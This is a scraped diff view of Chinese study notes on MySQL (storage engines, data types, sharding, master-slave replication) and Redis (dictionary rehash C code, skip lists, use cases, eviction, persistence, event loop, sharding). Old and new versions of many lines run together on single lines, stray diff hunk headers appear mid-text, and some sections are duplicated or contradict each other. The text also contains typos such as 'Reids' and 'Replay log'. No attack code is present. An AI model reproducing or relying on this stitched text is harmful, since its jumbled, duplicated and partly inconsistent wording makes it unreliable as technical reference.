实现了四个标准的隔离级别默认级别是可重复读REPEATABLE READ。在可重复读隔离级别下通过多版本并发控制MVCC+ 间隙锁Next-Key Locking防止幻影读。
主索引是聚簇索引,在索引中保存了数据,从而避免直接读取磁盘,因此对查询性能有很大的提升。
内部做了很多优化,包括从磁盘读取数据时采用的可预测性读、能够加快读操作并且自动创建的自适应哈希索引、能够加速插入操作的插入缓冲区等。
支持真正的在线热备份。其它存储引擎不支持在线热备份,要获取一致性视图需要停止对所有表的写入,而在读写混合场景中,停止写入可能也意味着停止读取。
## MyISAM
设计简单,数据以紧密格式存储。对于只读数据,或者表比较小、可以容忍修复操作,则依然可以使用它。
提供了大量的特性,包括压缩表、空间数据索引等。
不支持事务。
不支持行级锁只能对整张表加锁读取时会对需要读到的所有表加共享锁写入时则对表加排它锁。但在表有读取操作的同时也可以往表中插入新的记录这被称为并发插入CONCURRENT INSERT
可以手工或者自动执行检查和修复操作,但是和事务恢复以及崩溃恢复不同,可能导致一些数据丢失,而且修复操作是非常慢的。
如果指定了 DELAY_KEY_WRITE 选项,在每次修改执行完成时,不会立即将修改的索引数据写入磁盘,而是会写到内存中的键缓冲区,只有在清理键缓冲区或者关闭表的时候才会将对应的索引块写入磁盘。这种方式可以极大的提升写入性能,但是在数据库或者主机崩溃时会造成索引损坏,需要执行修复操作。
## 比较
- 事务InnoDB 是事务型的,可以使用 Commit 和 Rollback 语句。
- 并发MyISAM 只支持表级锁,而 InnoDB 还支持行级锁。
- 外键InnoDB 支持外键。
- 备份InnoDB 支持在线热备份。
- 崩溃恢复MyISAM 崩溃后发生损坏的概率比 InnoDB 高很多,而且恢复的速度也更慢。
- 其它特性MyISAM 支持压缩表和空间数据索引。
# 四、数据类型
## 整型
TINYINT, SMALLINT, MEDIUMINT, INT, BIGINT 分别使用 8, 16, 24, 32, 64 位存储空间,一般情况下越小的列越好。
INT(11) 中的数字只是规定了交互工具显示字符的个数,对于存储和计算来说是没有意义的。
## 浮点数
FLOAT 和 DOUBLE 为浮点类型DECIMAL 为高精度小数类型。CPU 原生支持浮点运算,但是不支持 DECIMAl 类型的计算,因此 DECIMAL 的计算比浮点类型需要更高的代价。
FLOAT、DOUBLE 和 DECIMAL 都可以指定列宽,例如 DECIMAL(18, 9) 表示总共 18 位,取 9 位存储小数部分,剩下 9 位存储整数部分。
## 字符串
主要有 CHAR 和 VARCHAR 两种类型,一种是定长的,一种是变长的。
VARCHAR 这种变长类型能够节省空间,因为只需要存储必要的内容。但是在执行 UPDATE 时可能会使行变得比原来长当超出一个页所能容纳的大小时就要执行额外的操作。MyISAM 会将行拆成不同的片段存储,而 InnoDB 则需要分裂页来使行放进页内。
在进行存储和检索时,会保留 VARCHAR 末尾的空格,而会删除 CHAR 末尾的空格。
## 时间和日期
MySQL 提供了两种相似的日期时间类型DATETIME 和 TIMESTAMP。
### 1. DATETIME
能够保存从 1001 年到 9999 年的日期和时间,精度为秒,使用 8 字节的存储空间。
它与时区无关。
默认情况下MySQL 以一种可排序的、无歧义的格式显示 DATETIME 值例如“2008-01-16 22:37:08”这是 ANSI 标准定义的日期和时间表示方法。
### 2. TIMESTAMP
和 UNIX 时间戳相同,保存从 1970 年 1 月 1 日午夜(格林威治时间)以来的秒数,使用 4 个字节,只能表示从 1970 年到 2038 年。
它和时区有关,也就是说一个时间戳在不同的时区所代表的具体时间是不同的。
MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期,并提供了 UNIX_TIMESTAMP() 函数把日期转换为 UNIX 时间戳。
默认情况下,如果插入时没有指定 TIMESTAMP 列的值,会将这个值设置为当前时间。
应该尽量使用 TIMESTAMP因为它比 DATETIME 空间效率更高。
# 五、切分 # 五、切分
## 水平切分 ## 水平切分
<div align="center"> <img src="../pics//63c2909f-0c5f-496f-9fe5-ee9176b31aba.jpg"/> </div><br> 水平切分又称为 Sharding它是将同一个表中的记录拆分到多个结构相同的表中。
水平切分就是就是常见的 Sharding它是将同一个表中的记录拆分到多个结构相同的表中。
当一个表的数据不断增多时Sharding 是必然的选择,它可以将数据分布到集群的不同节点上,从而缓存单个数据库的压力。 当一个表的数据不断增多时Sharding 是必然的选择,它可以将数据分布到集群的不同节点上,从而缓存单个数据库的压力。
<div align="center"> <img src="../pics//63c2909f-0c5f-496f-9fe5-ee9176b31aba.jpg"/> </div><br>
## 垂直切分 ## 垂直切分
垂直切分是将一张表按列切分成多个表,通常是按照列的关系密集程度进行切分,也可以利用垂直切分将经常被使用的列和不经常被使用的列切分到不同的表中。
在数据库的层面使用垂直切分将按数据库中表的密集程度部署到不同的库中,例如将原来的电商数据库垂直切分成商品数据库、用户数据库等。
<div align="center"> <img src="../pics//e130e5b8-b19a-4f1e-b860-223040525cf6.jpg"/> </div><br> <div align="center"> <img src="../pics//e130e5b8-b19a-4f1e-b860-223040525cf6.jpg"/> </div><br>
垂直切分是将一张表按列切分成多个表,通常是按照列的关系密集程度进行切分。也可以利用垂直切分将经常被使用的列和不经常被使用的列切分到不同的表中。
也可以在数据库的层面使用垂直切分,它按数据库中表的密集程度部署到不同的库中,例如将原来的电商数据库垂直切分成商品数据库 payDB、用户数据库 userBD 等。
## Sharding 策略 ## Sharding 策略
- 哈希取模hash(key) % NUM_DB - 哈希取模hash(key) % N
- 范围:可以是 ID 范围也可以是时间范围 - 范围:可以是 ID 范围也可以是时间范围
- 映射表:使用单独的一个数据库来存储映射关系 - 映射表:使用单独的一个数据库来存储映射关系
## Sharding 存在的问题 ## Sharding 存在的问题
### 1. 事务问题 ### 1. 事务问题
使用分布式事务。 使用分布式事务来解决,比如 XA 接口
### 2. JOIN ### 2. 连接
将原来的 JOIN 查询分解成多个单表查询,然后在用户程序中进行 JOIN 可以将原来的连接分解成多个单表查询,然后在用户程序中进行连接
### 3. ID 唯一性 ### 3. ID 唯一性
- 使用全局唯一 IDGUID - 使用全局唯一 IDGUID
- 为每个分片指定一个 ID 范围 - 为每个分片指定一个 ID 范围
- 分布式 ID 生成器 (如 Twitter 的 Snowflake 算法) - 分布式 ID 生成器 (如 Twitter 的 Snowflake 算法)
更多内容请参考: # 六、复制
- [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6) ## 主从复制
- [大众点评订单系统分库分表实践](https://tech.meituan.com/dianping_order_db_sharding.html)
主要涉及三个线程binlog 线程、I/O 线程和 SQL 线程。
- **binlog 线程** 负责将主服务器上的数据更改写入二进制日志Binary log中。
- **I/O 线程** 负责从主服务器上读取二进制日志并写入从服务器的重放日志Replay log中。
- **SQL 线程** :负责读取重放日志并重放其中的 SQL 语句。
<div align="center"> <img src="../pics//master-slave.png"/> </div><br>
## 读写分离
主服务器处理写操作以及实时性要求比较高的读操作,而从服务器处理读操作。
读写分离能提高性能的原因在于:
- 主从服务器负责各自的读和写,极大程度缓解了锁的争用;
- 从服务器可以使用 MyISAM提升查询性能以及节约系统开销
- 增加冗余,提高可用性。
读写分离常用代理方式来实现,代理服务器接收应用层传来的读写请求,然后决定转发到哪个服务器。
<div align="center"> <img src="../pics//master-slave-proxy.png"/> </div><br>
# 参考资料 # 参考资料
- BaronScbwartz, PeterZaitsev, VadimTkacbenko, 等. 高性能 MySQL[M]. 电子工业出版社, 2013. - BaronScbwartz, PeterZaitsev, VadimTkacbenko, 等. 高性能 MySQL[M]. 电子工业出版社, 2013.
- 姜承尧. MySQL 技术内幕: InnoDB 存储引擎 [M]. 机械工业出版社, 2011.
- [20+ 条 MySQL 性能优化的最佳经验](https://www.jfox.info/20-tiao-mysql-xing-nen-you-hua-de-zui-jia-jing-yan.html) - [20+ 条 MySQL 性能优化的最佳经验](https://www.jfox.info/20-tiao-mysql-xing-nen-you-hua-de-zui-jia-jing-yan.html)
- [服务端指南 数据存储篇 | MySQL09 分库与分表带来的分布式困境与应对之策](http://blog.720ui.com/2017/mysql_core_09_multi_db_table2/ "服务端指南 数据存储篇 | MySQL09 分库与分表带来的分布式困境与应对之策") - [服务端指南 数据存储篇 | MySQL09 分库与分表带来的分布式困境与应对之策](http://blog.720ui.com/2017/mysql_core_09_multi_db_table2/ "服务端指南 数据存储篇 | MySQL09 分库与分表带来的分布式困境与应对之策")
- [How to create unique row ID in sharded databases?](https://stackoverflow.com/questions/788829/how-to-create-unique-row-id-in-sharded-databases) - [How to create unique row ID in sharded databases?](https://stackoverflow.com/questions/788829/how-to-create-unique-row-id-in-sharded-databases)
- [SQL Azure Federation Introduction](http://geekswithblogs.net/shaunxu/archive/2012/01/07/sql-azure-federation-ndash-introduction.aspx "Title of this entry.") - [SQL Azure Federation Introduction](http://geekswithblogs.net/shaunxu/archive/2012/01/07/sql-azure-federation-ndash-introduction.aspx "Title of this entry.")
- [MySQL 索引背后的数据结构及算法原理](http://blog.codinglabs.org/articles/theory-of-mysql-index.html)
- [MySQL 性能优化神器 Explain 使用分析](https://segmentfault.com/a/1190000008131735)
- [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6)
- [大众点评订单系统分库分表实践](https://tech.meituan.com/dianping_order_db_sharding.html)

View File

@ -6,27 +6,27 @@
* [SET](#set) * [SET](#set)
* [HASH](#hash) * [HASH](#hash)
* [ZSET](#zset) * [ZSET](#zset)
* [三、使用场景](#三使用场景) * [三、数据结构](#三数据结构)
* [缓存](#缓存) * [字典](#字典)
* [跳跃表](#跳跃表)
* [四、使用场景](#四使用场景)
* [计数器](#计数器) * [计数器](#计数器)
* [应用限流](#应用限流) * [缓存](#缓存)
* [消息队列](#消息队列)
* [查找表](#查找表) * [查找表](#查找表)
* [交集运算](#交集运算) * [消息队列](#消息队列)
* [排行榜](#排行榜) * [会话缓存](#会话缓存)
* [分布式 Session](#分布式-session) * [分布式锁实现](#分布式锁实现)
* [分布式锁](#分布式锁) * [其它](#其它)
* [、Redis 与 Memcached](#redis-与-memcached) * [、Redis 与 Memcached](#redis-与-memcached)
* [数据类型](#数据类型) * [数据类型](#数据类型)
* [数据持久化](#数据持久化) * [数据持久化](#数据持久化)
* [分布式](#分布式) * [分布式](#分布式)
* [内存管理机制](#内存管理机制) * [内存管理机制](#内存管理机制)
* [、键的过期时间](#键的过期时间) * [、键的过期时间](#键的过期时间)
* [、数据淘汰策略](#数据淘汰策略) * [、数据淘汰策略](#数据淘汰策略)
* [、持久化](#持久化) * [、持久化](#持久化)
* [快照持久化](#快照持久化) * [RDB 持久化](#rdb-持久化)
* [AOF 持久化](#aof-持久化) * [AOF 持久化](#aof-持久化)
* [八、发布与订阅](#八发布与订阅)
* [九、事务](#九事务) * [九、事务](#九事务)
* [十、事件](#十事件) * [十、事件](#十事件)
* [文件事件](#文件事件) * [文件事件](#文件事件)
@ -49,7 +49,7 @@
Redis 是速度非常快的非关系型NoSQL内存键值数据库可以存储键和五种不同类型的值之间的映射。 Redis 是速度非常快的非关系型NoSQL内存键值数据库可以存储键和五种不同类型的值之间的映射。
键的类型只能为字符串,值支持五种类型数据类型:字符串、列表、集合、有序集合、散列表 键的类型只能为字符串,值支持五种数据类型:字符串、列表、集合、散列表、有序集合。
Redis 支持很多特性,例如将内存中的数据持久化到硬盘中,使用复制来扩展读性能,使用分片来扩展写性能。 Redis 支持很多特性,例如将内存中的数据持久化到硬盘中,使用复制来扩展读性能,使用分片来扩展写性能。
@ -58,7 +58,7 @@ Redis 支持很多特性,例如将内存中的数据持久化到硬盘中,
| 数据类型 | 可以存储的值 | 操作 | | 数据类型 | 可以存储的值 | 操作 |
| :--: | :--: | :--: | | :--: | :--: | :--: |
| STRING | 字符串、整数或者浮点数 | 对整个字符串或者字符串的其中一部分执行操作</br> 对整数和浮点数执行自增或者自减操作 | | STRING | 字符串、整数或者浮点数 | 对整个字符串或者字符串的其中一部分执行操作</br> 对整数和浮点数执行自增或者自减操作 |
| LIST | 列表 | 从两端压入或者弹出元素</br> 读取单个或者多个元素</br> 进行修剪,只保留一个范围内的元素 | | LIST | 列表 | 从两端压入或者弹出元素 </br> 单个或者多个元素</br> 进行修剪,只保留一个范围内的元素 |
| SET | 无序集合 | 添加、获取、移除单个元素</br> 检查一个元素是否存在于集合中</br> 计算交集、并集、差集</br> 从集合里面随机获取元素 | | SET | 无序集合 | 添加、获取、移除单个元素</br> 检查一个元素是否存在于集合中</br> 计算交集、并集、差集</br> 从集合里面随机获取元素 |
| HASH | 包含键值对的无序散列表 | 添加、获取、移除单个键值对</br> 获取所有键值对</br> 检查某个键是否存在| | HASH | 包含键值对的无序散列表 | 添加、获取、移除单个键值对</br> 获取所有键值对</br> 检查某个键是否存在|
| ZSET | 有序集合 | 添加、获取、删除元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 | | ZSET | 有序集合 | 添加、获取、删除元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 |
@ -205,52 +205,179 @@ OK
2) "982" 2) "982"
``` ```
# 三、使用场景 # 三、数据结构
## 缓存 ## 字典
将热点数据放到内存中,设置内存的最大使用量以及过期淘汰策略来保证缓存的命中率 dictht 是一个散列表结构,使用拉链法保存哈希冲突的 dictEntry
```c
/* This is our hash table structure. Every dictionary has two of this as we
* implement incremental rehashing, for the old to the new table. */
typedef struct dictht {
dictEntry **table;
unsigned long size;
unsigned long sizemask;
unsigned long used;
} dictht;
```
```c
typedef struct dictEntry {
void *key;
union {
void *val;
uint64_t u64;
int64_t s64;
double d;
} v;
struct dictEntry *next;
} dictEntry;
```
Redis 的字典 dict 中包含两个哈希表 dictht这是为了方便进行 rehash 操作。在扩容时,将其中一个 dictht 上的键值对 rehash 到另一个 dictht 上面,完成之后释放空间并交换两个 dictht 的角色。
```c
typedef struct dict {
dictType *type;
void *privdata;
dictht ht[2];
long rehashidx; /* rehashing not in progress if rehashidx == -1 */
unsigned long iterators; /* number of iterators currently running */
} dict;
```
rehash 操作不是一次性完成,而是采用渐进方式,这是为了避免一次性执行过多的 rehash 操作给服务器带来过大的负担。
渐进式 rehash 通过记录 dict 的 rehashidx 完成,它从 0 开始,然后每执行一次 rehash 都会递增。例如在一次 rehash 中,要把 dict[0] rehash 到 dict[1],这一次会把 dict[0] 上 table[rehashidx] 的键值对 rehash 到 dict[1] 上dict[0] 的 table[rehashidx] 指向 null并令 rehashidx++。
在 rehash 期间,每次对字典执行添加、删除、查找或者更新操作时,都会执行一次渐进式 rehash。
采用渐进式 rehash 会导致字典中的数据分散在两个 dictht 上,因此对字典的操作也需要到对应的 dictht 去执行。
```c
/* Performs N steps of incremental rehashing. Returns 1 if there are still
* keys to move from the old to the new hash table, otherwise 0 is returned.
*
* Note that a rehashing step consists in moving a bucket (that may have more
* than one key as we use chaining) from the old to the new hash table, however
* since part of the hash table may be composed of empty spaces, it is not
* guaranteed that this function will rehash even a single bucket, since it
* will visit at max N*10 empty buckets in total, otherwise the amount of
* work it does would be unbound and the function may block for a long time. */
int dictRehash(dict *d, int n) {
int empty_visits = n * 10; /* Max number of empty buckets to visit. */
if (!dictIsRehashing(d)) return 0;
while (n-- && d->ht[0].used != 0) {
dictEntry *de, *nextde;
/* Note that rehashidx can't overflow as we are sure there are more
* elements because ht[0].used != 0 */
assert(d->ht[0].size > (unsigned long) d->rehashidx);
while (d->ht[0].table[d->rehashidx] == NULL) {
d->rehashidx++;
if (--empty_visits == 0) return 1;
}
de = d->ht[0].table[d->rehashidx];
/* Move all the keys in this bucket from the old to the new hash HT */
while (de) {
uint64_t h;
nextde = de->next;
/* Get the index in the new hash table */
h = dictHashKey(d, de->key) & d->ht[1].sizemask;
de->next = d->ht[1].table[h];
d->ht[1].table[h] = de;
d->ht[0].used--;
d->ht[1].used++;
de = nextde;
}
d->ht[0].table[d->rehashidx] = NULL;
d->rehashidx++;
}
/* Check if we already rehashed the whole table... */
if (d->ht[0].used == 0) {
zfree(d->ht[0].table);
d->ht[0] = d->ht[1];
_dictReset(&d->ht[1]);
d->rehashidx = -1;
return 0;
}
/* More to rehash... */
return 1;
}
```
## 跳跃表
是有序集合的底层实现之一。
跳跃表是基于多指针有序链表实现的,可以看成多个有序链表。
<div align="center"> <img src="../pics//beba612e-dc5b-4fc2-869d-0b23408ac90a.png"/> </div><br>
在查找时,从上层指针开始查找,找到对应的区间之后再到下一层去查找。下图演示了查找 22 的过程。
<div align="center"> <img src="../pics//0ea37ee2-c224-4c79-b895-e131c6805c40.png"/> </div><br>
与红黑树等平衡树相比,跳跃表具有以下优点:
- 插入速度非常快速,因为不需要进行旋转等操作来维护平衡性;
- 更容易实现;
- 支持无锁操作。
# 四、使用场景
## 计数器 ## 计数器
Redis 这种内存数据库能支持计数器频繁的读写操作 可以对 String 进行自增自减运算,从而实现计数器功能
## 应用限流 Redis 这种内存型数据库的读写性能非常高,很适合存储频繁读写的计数量。
限制一个网站访问流量。 ## 缓存
## 消息队列 将热点数据放到内存中,设置内存的最大使用量以及淘汰策略来保证缓存的命中率。
使用 List 数据类型,它是双向链表。
## 查找表 ## 查找表
使用 HASH 数据类型 例如 DNS 记录就很适合使用 Redis 进行存储
## 交集运算 查找表和缓存类似,也是利用了 Redis 快速的查找特性。但是查找表的内容不能失效,而缓存的内容可以失效,因为缓存不作为可靠的数据来源。
使用 SET 类型,例如求两个用户的共同好友。 ## 消息队列
## 排行榜 List 是一个双向链表,可以通过 lpop 和 lpush 写入和读取消息。
使用 ZSET 数据类型 不过最好使用 Kafka、RabbitMQ 等消息中间件
## 分布式 Session ## 会话缓存
多个应用服务器的 Session 都存储到 Redis 中来保证 Session 的一致性 可以使用 Redis 来统一存储多台应用服务器的会话信息
## 分布式锁 当应用服务器不再存储用户的会话信息,也就不再具有状态,一个用户可以请求任意一个应用服务器,从而更容易实现高可用性以及可伸缩性。
除了可以使用 SETNX 实现分布式锁之外,还可以使用官方提供的 RedLock 分布式锁实现 ## 分布式锁实现
在分布式场景下,无法使用单机环境下的锁来对多个节点上的进程进行同步。
# 四、Redis 与 Memcached 可以使用 Reids 自带的 SETNX 命令实现分布式锁,除此之外,还可以使用官方提供的 RedLock 分布式锁实现。
两者都是非关系型内存键值数据库。有以下主要不同: ## 其它
Set 可以实现交集、并集等操作,从而实现共同好友等功能。
ZSet 可以实现有序性操作,从而实现排行榜等功能。
# 五、Redis 与 Memcached
两者都是非关系型内存键值数据库,主要有以下不同:
## 数据类型 ## 数据类型
Memcached 仅支持字符串类型,而 Redis 支持五种不同种类的数据类型,使得它可以更灵活地解决问题。 Memcached 仅支持字符串类型,而 Redis 支持五种不同的数据类型,可以更灵活地解决问题。
## 数据持久化 ## 数据持久化
@ -258,26 +385,27 @@ Redis 支持两种持久化策略RDB 快照和 AOF 日志,而 Memcached 不
## 分布式 ## 分布式
Memcached 不支持分布式,只能通过在客户端使用一致性哈希这样的分布式算法来实现分布式存储,这种方式在存储和查询时都需要先在客户端计算一次数据所在的节点。 Memcached 不支持分布式,只能通过在客户端使用一致性哈希来实现分布式存储,这种方式在存储和查询时都需要先在客户端计算一次数据所在的节点。
Redis Cluster 实现了分布式的支持。 Redis Cluster 实现了分布式的支持。
## 内存管理机制 ## 内存管理机制
在 Redis 中,并不是所有数据都一直存储在内存中,可以将一些很久没用的 value 交换到磁盘而 Memcached 的数据则会一直在内存中。 - 在 Redis 中,并不是所有数据都一直存储在内存中,可以将一些很久没用的 value 交换到磁盘而 Memcached 的数据则会一直在内存中。
Memcached 将内存分割成特定长度的块来存储数据,以完全解决内存碎片的问题但是这种方式会使得内存的利用率不高,例如块的大小为 128 bytes只存储 100 bytes 的数据,那么剩下的 28 bytes 就浪费掉了。 - Memcached 将内存分割成特定长度的块来存储数据,以完全解决内存碎片的问题但是这种方式会使得内存的利用率不高,例如块的大小为 128 bytes只存储 100 bytes 的数据,那么剩下的 28 bytes 就浪费掉了。
# 六、键的过期时间
# 五、键的过期时间
Redis 可以为每个键设置过期时间,当键过期时,会自动删除该键。 Redis 可以为每个键设置过期时间,当键过期时,会自动删除该键。
对于散列表这种容器,只能为整个键设置过期时间(整个散列表),而不能为键里面的单个元素设置过期时间。 对于散列表这种容器,只能为整个键设置过期时间(整个散列表),而不能为键里面的单个元素设置过期时间。
# 、数据淘汰策略 # 、数据淘汰策略
可以设置内存最大使用量,当内存使用量超过时施行淘汰策略,具体有 6 种淘汰策略。 可以设置内存最大使用量,当内存使用量超出时,会施行数据淘汰策略。
Reids 具体有 6 种淘汰策略:
| 策略 | 描述 | | 策略 | 描述 |
| :--: | :--: | | :--: | :--: |
@ -288,15 +416,17 @@ Redis 可以为每个键设置过期时间,当键过期时,会自动删除
| allkeys-random | 从所有数据集中任意选择数据进行淘汰 | | allkeys-random | 从所有数据集中任意选择数据进行淘汰 |
| noeviction | 禁止驱逐数据 | | noeviction | 禁止驱逐数据 |
如果使用 Redis 来缓存数据时,要保证所有数据都是热点数据,可以将内存最大使用量设置为热点数据占用的内存量,然后启用 allkeys-lru 淘汰策略,将最近最少使用的数据淘汰 作为内存数据库出于对性能和内存消耗的考虑Redis 的淘汰算法实际实现上并非针对所有 key而是抽样一小部分并且从中选出被淘汰的 key
作为内存数据库出于对性能和内存消耗的考虑Redis 的淘汰算法LRU、TTL实际实现上并非针对所有 key而是抽样一小部分 key 从中选出被淘汰 key抽样数量可通过 maxmemory-samples 配置 使用 Redis 缓存数据时,为了提高缓存命中率,需要保证缓存数据都是热点数据。可以将内存最大使用量设置为热点数据占用的内存量,然后启用 allkeys-lru 淘汰策略,将最近最少使用的数据淘汰
# 七、持久化 Redis 4.0 引入了 volatile-lfu 和 allkeys-lfu 淘汰策略LFU 策略通过统计访问频率,将访问频率最少的键值对淘汰。
# 八、持久化
Redis 是内存型数据库,为了保证数据在断电后不会丢失,需要将内存中的数据持久化到硬盘上。 Redis 是内存型数据库,为了保证数据在断电后不会丢失,需要将内存中的数据持久化到硬盘上。
## 快照持久化 ## RDB 持久化
将某个时间点的所有数据都存放到硬盘上。 将某个时间点的所有数据都存放到硬盘上。
@ -310,9 +440,7 @@ Redis 是内存型数据库,为了保证数据在断电后不会丢失,需
将写命令添加到 AOF 文件Append Only File的末尾。 将写命令添加到 AOF 文件Append Only File的末尾。
对硬盘的文件进行写入时,写入的内容首先会被存储到缓冲区,然后由操作系统决定什么时候将该内容同步到硬盘,用户可以调用 file.flush() 方法请求操作系统尽快将缓冲区存储的数据同步到硬盘。可以看出写入文件的数据不会立即同步到硬盘上,在将写命令添加到 AOF 文件时,要根据需求来保证何时同步到硬盘上。 使用 AOF 持久化需要设置同步选项,从而确保写命令什么时候会同步到磁盘文件上。这是因为对文件进行写入并不会马上将内容同步到磁盘上,而是先存储到缓冲区,然后由操作系统决定什么时候同步到磁盘。有以下同步选项:
有以下同步选项:
| 选项 | 同步频率 | | 选项 | 同步频率 |
| :--: | :--: | | :--: | :--: |
@ -321,24 +449,11 @@ Redis 是内存型数据库,为了保证数据在断电后不会丢失,需
| no | 让操作系统来决定何时同步 | | no | 让操作系统来决定何时同步 |
- always 选项会严重减低服务器的性能; - always 选项会严重减低服务器的性能;
- everysec 选项比较合适,可以保证系统溃时只会丢失一秒左右的数据,并且 Redis 每秒执行一次同步对服务器性能几乎没有任何影响; - everysec 选项比较合适,可以保证系统溃时只会丢失一秒左右的数据,并且 Redis 每秒执行一次同步对服务器性能几乎没有任何影响;
- no 选项并不能给服务器性能带来多大的提升,而且也会增加系统溃时数据丢失的数量。 - no 选项并不能给服务器性能带来多大的提升,而且也会增加系统溃时数据丢失的数量。
随着服务器写请求的增多AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性,能够去除 AOF 文件中的冗余写命令。 随着服务器写请求的增多AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性,能够去除 AOF 文件中的冗余写命令。
# 八、发布与订阅
订阅者订阅了频道之后,发布者向频道发送字符串消息会被所有订阅者接收到。
某个客户端使用 SUBSCRIBE 订阅一个频道,其它客户端可以使用 PUBLISH 向这个频道发送消息。
发布与订阅模式和观察者模式有以下不同:
- 观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。
- 观察者模式是同步的,当事件触发时,主题会去调用观察者的方法;而发布与订阅模式是异步的;
<div align="center"> <img src="../pics//bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg" width="400"/> </div><br>
# 九、事务 # 九、事务
一个事务包含了多个命令,服务器在执行事务期间,不会改去执行其它客户端的命令请求。 一个事务包含了多个命令,服务器在执行事务期间,不会改去执行其它客户端的命令请求。
@ -355,7 +470,7 @@ Redis 服务器是一个事件驱动程序。
服务器通过套接字与客户端或者其它服务器进行通信,文件事件就是对套接字操作的抽象。 服务器通过套接字与客户端或者其它服务器进行通信,文件事件就是对套接字操作的抽象。
Redis 基于 Reactor 模式开发了自己的网络时间处理器,使用 I/O 多路复用程序来同时监听多个套接字,并将到达的时间传送给文件事件分派器,分派器会根据套接字产生的事件类型调用应的时间处理器。 Redis 基于 Reactor 模式开发了自己的网络事件处理器,使用 I/O 多路复用程序来同时监听多个套接字,并将到达的事件传送给文件事件分派器,分派器会根据套接字产生的事件类型调用应的事件处理器。
<div align="center"> <img src="../pics//9ea86eb5-000a-4281-b948-7b567bd6f1d8.png"/> </div><br> <div align="center"> <img src="../pics//9ea86eb5-000a-4281-b948-7b567bd6f1d8.png"/> </div><br>
@ -368,36 +483,29 @@ Redis 基于 Reactor 模式开发了自己的网络时间处理器,使用 I/O
- 定时事件:是让一段程序在指定的时间之内执行一次; - 定时事件:是让一段程序在指定的时间之内执行一次;
- 周期性事件:是让一段程序每隔指定时间就执行一次。 - 周期性事件:是让一段程序每隔指定时间就执行一次。
Redis 将所有时间事件都放在一个无序链表中,通过遍历整个链表查找出已到达的时间事件,并调用应的事件处理器。 Redis 将所有时间事件都放在一个无序链表中,通过遍历整个链表查找出已到达的时间事件,并调用应的事件处理器。
## 事件的调度与执行 ## 事件的调度与执行
服务器需要不断监听文件事件的套接字才能得到待处理的文件事件,但是不能监听太久,否则时间事件无法在规定的时间内执行,因此监听时间应该根据距离现在最近的时间事件来决定。 服务器需要不断监听文件事件的套接字才能得到待处理的文件事件,但是不能一直监听,否则时间事件无法在规定的时间内执行,因此监听时间应该根据距离现在最近的时间事件来决定。
事件调度与执行由 aeProcessEvents 函数负责,伪代码如下: 事件调度与执行由 aeProcessEvents 函数负责,伪代码如下:
```python ```python
def aeProcessEvents(): def aeProcessEvents():
# 获取到达时间离当前时间最接近的时间事件 # 获取到达时间离当前时间最接近的时间事件
time_event = aeSearchNearestTimer() time_event = aeSearchNearestTimer()
# 计算最接近的时间事件距离到达还有多少毫秒 # 计算最接近的时间事件距离到达还有多少毫秒
remaind_ms = time_event.when - unix_ts_now() remaind_ms = time_event.when - unix_ts_now()
# 如果事件已到达,那么 remaind_ms 的值可能为负数,将它设为 0 # 如果事件已到达,那么 remaind_ms 的值可能为负数,将它设为 0
if remaind_ms < 0: if remaind_ms < 0:
remaind_ms = 0 remaind_ms = 0
# 根据 remaind_ms 的值,创建 timeval # 根据 remaind_ms 的值,创建 timeval
timeval = create_timeval_with_ms(remaind_ms) timeval = create_timeval_with_ms(remaind_ms)
# 阻塞并等待文件事件产生,最大阻塞时间由传入的 timeval 决定 # 阻塞并等待文件事件产生,最大阻塞时间由传入的 timeval 决定
aeApiPoll(timeval) aeApiPoll(timeval)
# 处理所有已产生的文件事件 # 处理所有已产生的文件事件
procesFileEvents() procesFileEvents()
# 处理所有已到达的时间事件 # 处理所有已到达的时间事件
processTimeEvents() processTimeEvents()
``` ```
@ -406,21 +514,18 @@ def aeProcessEvents():
```python ```python
def main(): def main():
# 初始化服务器 # 初始化服务器
init_server() init_server()
# 一直处理事件,直到服务器关闭为止 # 一直处理事件,直到服务器关闭为止
while server_is_not_shutdown(): while server_is_not_shutdown():
aeProcessEvents() aeProcessEvents()
# 服务器关闭,执行清理操作 # 服务器关闭,执行清理操作
clean_server() clean_server()
``` ```
从事件处理的角度来看,服务器运行流程如下: 从事件处理的角度来看,服务器运行流程如下:
<div align="center"> <img src="../pics//dda1608d-26e0-4f10-8327-a459969b150a.png" width=""/> </div><br> <div align="center"> <img src="../pics//c0a9fa91-da2e-4892-8c9f-80206a6f7047.png" width="400"/> </div><br>
# 十一、复制 # 十一、复制
@ -444,15 +549,18 @@ def main():
# 十二、Sentinel # 十二、Sentinel
Sentinel哨兵可以监听服务器,并在主服务器进入下线状态时,自动从从服务器中选举出新的主服务器。 Sentinel哨兵可以监听集群中的服务器,并在主服务器进入下线状态时,自动从从服务器中选举出新的主服务器。
# 十三、分片 # 十三、分片
分片是将数据划分为多个部分的方法,可以将数据存储到多台机器里面,也可以从多台机器里面获取数据,这种方法在解决某些问题时可以获得线性级别的性能提升。 分片是将数据划分为多个部分的方法,可以将数据存储到多台机器里面,这种方法在解决某些问题时可以获得线性级别的性能提升。
假设有 4 个 Reids 实例 R0R1R2R3还有很多表示用户的键 user:1user:2... 等等,有不同的方式来选择一个指定的键存储在哪个实例中。最简单的方式是范围分片,例如用户 id 从 0\~1000 的存储到实例 R0 中,用户 id 从 1001\~2000 的存储到实例 R1 中,等等。但是这样需要维护一张映射范围表,维护操作代价很高。还有一种方式是哈希分片,使用 CRC32 哈希函数将键转换为一个数字,再对实例数量求模就能知道应该存储的实例。 假设有 4 个 Reids 实例 R0R1R2R3还有很多表示用户的键 user:1user:2... ,有不同的方式来选择一个指定的键存储在哪个实例中。
主要有三种分片方式: - 最简单的方式是范围分片,例如用户 id 从 0\~1000 的存储到实例 R0 中,用户 id 从 1001\~2000 的存储到实例 R1 中,等等。但是这样需要维护一张映射范围表,维护操作代价很高。
- 还有一种方式是哈希分片,使用 CRC32 哈希函数将键转换为一个数字,再对实例数量求模就能知道应该存储的实例。
根据执行分片的位置,可以分为三种分片方式:
